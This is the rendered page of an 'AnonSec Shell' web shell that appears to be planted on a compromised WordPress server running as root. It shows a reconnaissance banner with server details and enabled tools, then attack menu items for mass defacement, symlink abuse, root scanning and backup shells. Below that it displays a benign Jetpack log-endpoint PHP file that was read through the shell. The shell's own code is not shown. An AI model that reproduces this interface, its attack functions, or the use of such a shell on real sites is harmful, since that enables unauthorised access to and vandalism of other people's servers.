AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/cwd/plugins/jetpack/json-endpoints/jetpack/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/cwd/plugins/jetpack/json-endpoints/jetpack/class.jetpack-json-api-log-endpoint.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName

/**
 * Jetpack log endpoint class.
 *
 * GET /sites/%s/jetpack-log
 */
class Jetpack_JSON_API_Jetpack_Log_Endpoint extends Jetpack_JSON_API_Endpoint {
	/**
	 * Needed capabilities.
	 *
	 * @var array
	 */
	protected $needed_capabilities = 'manage_options';

	/**
	 * The result.
	 *
	 * @return array
	 */
	protected function result() {
		$args  = $this->input();
		$event = ( isset( $args['event'] ) && is_string( $args['event'] ) ) ? $args['event'] : false;
		$num   = ( isset( $args['num'] ) ) ? (int) $args['num'] : false;

		return array(
			'log' => Jetpack::get_log( $event, $num ),
		);
	}
}

Anon7 - 2022
AnonSec Team